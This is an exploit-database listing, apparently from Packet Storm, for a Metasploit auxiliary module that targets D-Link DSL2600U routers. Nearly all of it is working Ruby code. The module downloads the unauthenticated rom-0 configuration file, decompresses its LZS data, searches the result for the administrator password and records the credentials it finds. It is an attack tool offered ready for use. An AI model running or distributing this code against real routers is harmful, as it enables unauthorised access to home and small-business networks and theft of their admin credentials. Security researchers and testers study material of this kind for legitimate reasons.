Share
## https://sploitus.com/exploit?id=PACKETSTORM:223705
==================================================================================================================================
    | # Title     : D-Link DSL2600U rom-0 Admin Password Disclosure                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.dlink.com                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    :  a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'D-Link DSL2600U rom-0 Admin Password Disclosure',
            'Description' => %q{
              This module exploits a vulnerability in D-Link DSL2600U routers
              (firmware version v1.08) that allows unauthenticated attackers
              to download the `rom-0` configuration file containing the
              administrator password. The `rom-0` file is compressed using
              LZS compression. After decompression, the admin credentials
              can be extracted in cleartext.
    
              This vulnerability affects D-Link DSL-2600U routers and potentially
              other D-Link models that expose the `rom-0` file.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://github.com/amirhosseinjamshidi64'],
              ['URL', 'https://www.dlink.com']
            ],
            'DisclosureDate' => '2026-05-02',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'The path to the rom-0 file', '/rom-0']),
          OptString.new('OUTPUT_FILE', [false, 'Save decompressed rom-0 to file']),
          OptBool.new('EXTRACT_CREDS', [true, 'Extract credentials from decompressed data', true])
        ])
      end
      class LZSDecompress
        def self.decompress(data)
          return nil if data.nil? || data.empty?
          output = ''
          idx = 0
          data_len = data.length
          while idx < data_len
            ctrl = data[idx].unpack('C')[0]
            idx += 1
            
            if ctrl == 0
              output << "\x00"
              next
            end
            if ctrl & 0x80 == 0
              count = ctrl & 0x1F
              if count == 0
                count = 31
              end
              if idx + count > data_len
                count = data_len - idx
              end
              output << data[idx, count]
              idx += count
            else
              if ctrl & 0x40 == 0
                offset = ((ctrl & 0x1F) << 8) | data[idx].unpack('C')[0]
                count = ((ctrl >> 5) & 0x03) + 2
                idx += 1
                if offset > output.length
                  offset = output.length
                end
                start_pos = output.length - offset
                if start_pos >= 0 && start_pos < output.length
                  (0...count).each do |i|
                    pos = start_pos + i
                    if pos < output.length
                      output << output[pos]
                    else
                      output << "\x00"
                    end
                  end
                else
                  output << "\x00" * count
                end
              else
                offset = ((ctrl & 0x3F) << 8) | data[idx].unpack('C')[0]
                count = ((ctrl >> 2) & 0x0F) + 3
                idx += 1
                if offset > output.length
                  offset = output.length
                end
                start_pos = output.length - offset
                if start_pos >= 0 && start_pos < output.length
                  (0...count).each do |i|
                    pos = start_pos + i
                    if pos < output.length
                      output << output[pos]
                    else
                      output << "\x00"
                    end
                  end
                else
                  output << "\x00" * count
                end
              end
            end
          end
          output
        rescue => e
          vprint_error("LZS decompression error: #{e.message}")
          nil
        end
      end
      def fetch_rom0
        uri = normalize_uri(target_uri.path)
        print_status("Downloading #{uri} from #{peer}")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => uri
        )
        if res && res.code == 200
          print_good("Successfully downloaded rom-0 file (#{res.body.length} bytes)")
          return res.body
        else
          print_error("Failed to download rom-0 file: HTTP #{res&.code || 'no response'}")
          return nil
        end
      end
      def extract_credentials(decompressed_data)
        credentials = []
        patterns = [
          /(?:password|pass|admin_password|adminpass)[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
          /"password"\s*:\s*"([^"]+)"/i,
          /'password'\s*:\s*'([^']+)'/i,
          /<password>([^<]+)<\/password>/i,
          /admin[_-]?password[_-]?[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
          /(?:user|admin)[\s]*[=:][\s]*["']?([^"'\s,]+)/i
        ]
        cred_pattern = /([a-zA-Z0-9_]+)[\s]*[=:][\s]*([a-zA-Z0-9_!@#$%^&*]+)/i
        
        decompressed_data.scan(cred_pattern) do |match|
          if match[0] =~ /(user|admin|root|password|pass)/i
            credentials << { username: match[0], password: match[1] }
          end
        end
        
        patterns.each do |pattern|
          decompressed_data.scan(pattern) do |match|
            if match.is_a?(Array)
              credentials << { type: 'password', value: match[0] }
            else
              credentials << { type: 'password', value: match }
            end
          end
        end
        admin_patterns = [
          /admin[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
          /Administrator[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
          /root[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i
        ]
        admin_patterns.each do |pattern|
          match = decompressed_data.match(pattern)
          if match
            credentials << { type: 'admin_password', value: match[1] }
          end
        end
        credentials.uniq
      end
      def find_admin_password(decompressed_data)
        match = decompressed_data.match(/pwdAdmin\s*=\s*"([^"]+)"/i)
        return match[1] if match
        match = decompressed_data.match(/admin_password\s*=\s*([^\s]+)/i)
        return match[1] if match
        match = decompressed_data.match(/"password"\s*:\s*"([^"]+)"/i)
        return match[1] if match
        lines = decompressed_data.split("\n")
        lines.each do |line|
          if line =~ /admin/i && line =~ /(=|:)/i
            parts = line.split(/[=:]/)
            if parts.length >= 2
              candidate = parts[1].strip.gsub(/["']/, '')
              if candidate.length >= 4 && candidate.length <= 32
                return candidate
              end
            end
          end
        end
        
        nil
      end
      def save_output(data, filename)
        begin
          File.open(filename, 'wb') do |f|
            f.write(data)
          end
          print_good("Saved output to #{filename}")
          return true
        rescue => e
          print_error("Failed to save output: #{e.message}")
          return false
        end
      end
      def run_host(ip)
        print_status("D-Link DSL2600U - rom-0 Admin Password Disclosure")
        print_status("Target: #{peer}")
        rom0_data = fetch_rom0
        if rom0_data.nil? || rom0_data.empty?
          print_error("Could not retrieve rom-0 file")
          return
        end
        if datastore['OUTPUT_FILE']
          save_output(rom0_data, "#{datastore['OUTPUT_FILE']}.raw")
        end
        print_status("Decompressing LZS data...")
        decompressed_data = nil
        offsets_to_try = [0, 8568, 1024, 2048, 4096, 8192]
        offsets_to_try.each do |offset|
          if offset < rom0_data.length
            vprint_status("Trying decompression at offset #{offset}")
            decompressed = LZSDecompress.decompress(rom0_data[offset..-1])
            if decompressed && decompressed.length > 100
              decompressed_data = decompressed
              print_good("Successfully decompressed data from offset #{offset} (#{decompressed_data.length} bytes)")
              break
            end
          end
        end
        
        if decompressed_data.nil? || decompressed_data.empty?
          decompressed_data = LZSDecompress.decompress(rom0_data)
          if decompressed_data && decompressed_data.length > 100
            print_good("Successfully decompressed entire file (#{decompressed_data.length} bytes)")
          else
            print_error("Failed to decompress rom-0 data")
            return
          end
        end
        if datastore['OUTPUT_FILE']
          save_output(decompressed_data, datastore['OUTPUT_FILE'])
        end
        if datastore['EXTRACT_CREDS']
          print_status("Extracting credentials from decompressed data...")
          admin_password = find_admin_password(decompressed_data)
          if admin_password
            print_good("Found admin password: #{admin_password}")
            report_cred(
              host: ip,
              port: datastore['RPORT'],
              service_name: 'http',
              user: 'admin',
              private_data: admin_password,
              private_type: :password,
              source_id: 'dlink_rom0_disclosure'
            )
          else
            credentials = extract_credentials(decompressed_data)
            if credentials.empty?
              print_warning("No credentials found in decompressed data")
              readable_strings = decompressed_data.scan(/[ -~]{8,}/)
              if readable_strings.any?
                print_status("Found readable strings that might contain credentials:")
                readable_strings.each do |str|
                  if str =~ /[a-zA-Z0-9]{6,}/ && str.length >= 6 && str.length <= 32
                    print_status("  Possible credential: #{str}")
                  end
                end
              end
            else
              print_good("Found #{credentials.length} potential credential(s):")
              credentials.each do |cred|
                if cred[:username] && cred[:password]
                  print_status("  #{cred[:username]} : #{cred[:password]}")
                  report_cred(
                    host: ip,
                    port: datastore['RPORT'],
                    service_name: 'http',
                    user: cred[:username],
                    private_data: cred[:password],
                    private_type: :password
                  )
                elsif cred[:value]
                  print_status("  Password found: #{cred[:value]}")
                  report_cred(
                    host: ip,
                    port: datastore['RPORT'],
                    service_name: 'http',
                    user: 'unknown',
                    private_data: cred[:value],
                    private_type: :password
                  )
                end
              end
            end
          end
        end
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================